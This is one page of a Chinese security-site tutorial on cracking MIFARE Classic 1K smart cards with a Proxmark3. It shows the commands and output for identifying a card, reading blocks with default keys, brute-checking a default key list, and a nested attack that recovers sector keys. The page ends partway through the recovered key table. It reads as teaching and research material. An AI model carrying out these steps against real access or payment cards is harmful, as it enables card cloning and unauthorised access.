欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

智能卡破解入门二三事

来源:本站整理 作者:佚名 时间:2017-08-18 TAG: 我要投稿
Access Conditions: 4 bytes
Key B: 6 bytes
 所以在写卡的内存的时候,一般不能写每个sector的最后一个block,除非你有要修改KEY和访问权限的需求。如果KEY A 被你不小心修改掉了,而你不知道修改成什么,那与之对应的那个sector你就没有办法访问了。因为在MifareClassic中,如果你要读取数据,那么必须要有这个数据地址所在的sector的权限,这个权限就是这个sector的trailer的keyA或KEY B。下面我们将使用高频天线来读取高频MIFARE卡。

我开始使用hf指令搜索并识别MIFARE卡

proxmark3> hf search 
#db# DownloadFPGA(len: 42096)
 UID : bc 4e a5 35
ATQA : 00 04 
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 
proprietary non iso14443-4 card found, RATS not supported 
Answers to chinese magic backdoor commands: NO 
Valid ISO14443A Tag Found - Quitting Search 
不幸的是,MIFARE卡不像之前的低频卡克隆那样容易,它利用简单的认证方式,阻止我们克隆UID。虽然我们可以从卡中读取某些块,但是由于“认证错误”,其它块并不可用:
成功读取
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF 
--block no:0, key type:A, key:ff ff ff ff ff ff           
#db# READ BLOCK FINISHED                
isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00 
失败读取
proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF 
--block no:5, key type:A, key:ff ff ff ff ff ff           
#db# Authentication failed. Card timeout.                
#db# Auth error                
#db# READ BLOCK FINISHED                
isOk:00 
起初发现这个问题,我觉得很奇怪,但很快发现前文提到的key,这是我在网上找到的资料。MIFARE Classic 1K射频卡有1024字节可储存数据,同时分为分为16个扇区,每个扇区由两个不同的key保护(前文说明的A,B),出于某种原因,一些MIFARE卡仅使用默认key,这样就造成可以利用应用程序测试key,并针对卡进行测试。
PM3具有“测试key(块)”指令,它将测试我们的默认key。
proxmark3> hf mf chk * ? 
No key specified, trying default keys 
chk default key[ 0] ffffffffffff 
chk default key[ 1] 000000000000 
chk default key[ 2] a0a1a2a3a4a5 
chk default key[ 3] b0b1b2b3b4b5 
chk default key[ 4] aabbccddeeff 
chk default key[ 5] 4d3a99c351dd 
chk default key[ 6] 1a982c7e459a 
chk default key[ 7] d3f7d3f7d3f7 
chk default key[ 8] 714c5c886e97 
chk default key[ 9] 587ee5f9350f 
chk default key[10] a0478cc39091 
chk default key[11] 533cb6c723f6 
chk default key[12] 8fd0a4f256e9 
--sector: 0, block:  3, key type:A, key count:13
Found valid key:[ffffffffffff] 
...omitted for brevity...
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff] 
我可以使用默认key(ffffffffffff)读取大多数块,但有些没有包含在内。我可以使用“Nested攻击”,我们可以使用我们的一个可用的key来识别其它块的key。
proxmark3> hf mf nested 1 0 A ffffffffffff   d 
Testing known keys. Sector count=16 
nested... 
-----------------------------------------------
uid:bc4ea535 trgbl=4 trgkey=0 
Found valid key:080808080808 
-----------------------------------------------
uid:bc4ea535 trgbl=8 trgkey=0 
Found valid key:080808080808 
Time in nested: 7.832 (3.916 sec per key) 
-----------------------------------------------
Iterations count: 2 
|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  080808080808  | 1 |  ffffffffffff  | 1 |
|002|  080808080808  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |

上一页  [1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载